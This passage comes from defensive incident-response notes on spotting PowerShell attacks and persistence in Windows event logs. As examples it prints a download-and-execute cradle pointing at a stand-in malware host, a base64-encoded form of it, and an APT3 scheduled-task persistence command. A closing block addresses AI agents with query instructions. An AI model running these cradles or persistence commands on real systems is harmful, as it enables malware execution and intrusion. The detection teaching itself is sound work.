provided a new logging feature to log entire executed PowerShell script blocks. By default, the **script** **block logging** feature is **disabled**, but it automatically logs any suspicious script execution activities, even if script block logging is disabled. The script block logging feature records Event ID 4104, which records the executed PowerShell script block contents on the first execution Event ID 4104 allows you to **reconstruct** the fully executed script by **arranging an**d **assembling** the events that have the same ScriptBlock ID value. You can reconstruct the script either manually by **ordering and copying** every **section** into any **text editor** such as Notepad to reconstruct the full script or by using automated scripts such as the ExtractAllScripts.ps1 PowerShell script at the following URL (). That script allows you to reconstruct all scripts from 4104 events. Then, you can conduct static and dynamic analysis by submitting the reconstructed scripts in a sandbox, uploading them to VirusTotal, or scanning them against YARA rules Event ID **4104** provides great value when you investigate and track attackers who depend on **PowerShell** **Scripts** to achieve their objectives or investigate **file-less** **attack** techniques that depend on PowerShell to push the **malicious code** **directly** **to memory**. Event ID **4103** does not provide robust details like Event ID 4104, but it is still useful, as it logs the executed modules and cmdlets
Event ID 800 recorded the same execution activities recorded by Event ID 4104 , the event records the executed command line, the username of the user at the command line, and the version of PowerShell. Microsoft offers not only event logs but also two additional logging features for monitoring PowerShell execution activities. One of these features is called **PSReadLine**, which allows you to track the **history of every command** entered in the PowerShell console. This functionality is similar to the **history** command in **Linux** operating systems, but in the case of PowerShell, the history is stored in a dedicated file on the disk. By default, this history is saved in a TXT file located in the user’s AppData directory at **C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\PowerShell**\ **PSReadLine**. This feature ensures that you have a reliable record of PowerShell commands executed to facilitate analysis, auditing, and referencing purposes.
### Investigating PowerShell attacks **Fileless PowerShell malware** Fileless malware, also known as **memory-based malware,** refers to a type of malicious code that runs directly in memory **without** leaving traces of traditional executable files on the system disk. An attacker may use a PowerShell cradle to download a malicious PowerShell script and execute it directly in memory to evade writing to the disk and evade being detected by defense mechanisms. The following is an example of a common PowerShell cradle that uses the DownloadString function to download a malicious script from a remote server to be executed directly in memory: ```powershell powershell.exe -ep bypass -nop -noexit -c iex ((New ObjectNet. WebClient).DownloadString('http://soctest.xyz/malware.ps1')) ``` In this case, you can find the execution evidence of the PowerShell cradle command by reviewing Event ID 800, and you can find and reconstruct the full content of the downloaded and executed PowerShell script in memory by reviewing Event ID 4104 **Suspicious PowerShell commands and cmdlets** **-NonInteractive (-noni) :** A command-line argument used to **not present** an interactive shell prompt to the user **DownloadString :** A function from the System.Net.WebClient library used to **download content from a URI into a string variable**. **DownloadFile :** A function from the System.Net.WebClient library used to **download content from a URI into a file** **-ExecutionPolicy OR -ep :** A command-line argument usually used to **manipulate the execution policies** that let you decide the conditions under which scripts can be run or not. Attackers usually used two execution policy decisions (**-ExecutionPolicy Bypass or -ExecutionPolicy Unrestricted)**. The Bypass option runs any script run without warning and the Unrestricted option runs any unsigned scripts without warning. **-EncodedCommand, -e, OR -enc :** An attacker may use encoded PowerShell commands to evade **detection**; to be executed successfully, attackers use the -EncodedCommand option. Example: "C:\Windows\System32\ WindowsPowerShell\v1.0\powershell.exe" -nop -exec bypass -win hidden -noni -e cG93ZXJzaGVsbC5leGUgLWVwIGJ5cGFzcyAtbm9wIC1ub2V4 aXQgLWMgaWV4ICgoT mV3IE9iamVjdE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3 RyaW5nKOKAmGh0dHA6 Ly9zb2N0ZXN0Lnh5ei9tYWx3YXJlLnBzMeKAmSkp **Invoke-Command** : Command usually used by attackers to execute commands **on remote systems.** **Enter-PSSession** : Command usually used by attackers to enter an **interactive PowerShell session** with **remote systems**. **Invoke-WebRequest** Command usually used by attackers to **download malware to the infected machine from remote servers** #### Investigating Persistence and Lateral Movement Using Windows Event Logs As an SOC analyst and incident responder, you must be aware of the common persistence and lateral movement techniques used by attackers and be able to detect and investigate them by analyzing the event logs provided by Microsoft. **Understanding and investigating persistence techniques Persistence** is the way that malware authors (attackers) maintain their access to a compromised system even after the system changes, such as by **rebooting, logging off, or credential change.** To achieve persistence, attackers follow several methods and techniques, such as **creating an account, adding a malware path to registry run keys,** i**nstalling a service, creating a scheduled task, or developing a WMI consumer.** • Registry run keys • Windows scheduled tasks • Windows services • WMI event subscription **Registry run keys** The Windows Registry is a **hierarchical** database that stores configuration **settings**, **options**, and **information** about the **operating system**, **hardware devices**, **software applications**, and user preferences on Microsoft Windows operating systems. It serves as a central repository for critical system and application settings Registry consist of **five** Hives, the most important **hives** of them are **HKEY\_CURRENT\_USER (HKCU)** which stores **configuration settings** for the currently **logged-in user,** and **HKEY\_LOCAL\_MACHINE (HKLM)** which **stores configuration settings** for the entire computer system, applicable to all users. Each registry hive include several registry keys such as the registry run keys. Registry run keys are registry keys that make a program run when a user logs on to a system. An attacker may achieve persistence by modifying existing or adding new value under the registry run keys to reference the malware path to be executed when a user logs in Attackers can do so either by using the Windows built-in Registry Editor GUI tool or by using a command-line tool, such as the Windows built-in **reg.exe** tool. The following registry run keys are created by default on the Windows OSs: •HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run • HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\ RunOnce •HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run •HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

a new registry value Malware was created under one of the registry run keys

Microsoft allows you to investigate and detect suspicious access and additions or modifications to registry keys, including the registry run keys, by recording in the security log file a list of event IDs, as listed in the following table by their names:
all the event names refer to an Object except event ID **4657**, which refers to the registry. This is because **event IDs 4656, 4658, 4660, and 4663 are designed to record any access to any object**, including the registry keys, while event ID 4657 is designed to audit changes in the registry keys

Event ID 4656 (A handle to an object was requested.)

**Windows scheduled tasks** Windows scheduled tasks are recurring predefined actions automatically executed whenever a certain set of conditions are met. An attacker may achieve persistence by creating a Windows scheduled task to recurring execution of his malicious code. A scheduled task can be created by using the GUI tool or command-line tools such as ``` schtasks.exe: schtasks /create /tn mysc /tr C:\Users\Public\test.exe /sc ONLOGON / ru System ``` The preceding command was executed by the APT3 group using the schtasks command-line tool to create a new scheduled task named mysc, to execute a malicious executable, C:\Users\ Public\test.exe, every time there a user logged in under the context of the System account. Microsoft allows you to track the creation of new scheduled tasks by recording the event **ID 4698, A scheduled task was created** --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xmedhat.gitbook.io/whoami/investigating-with-windows-event-logs.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.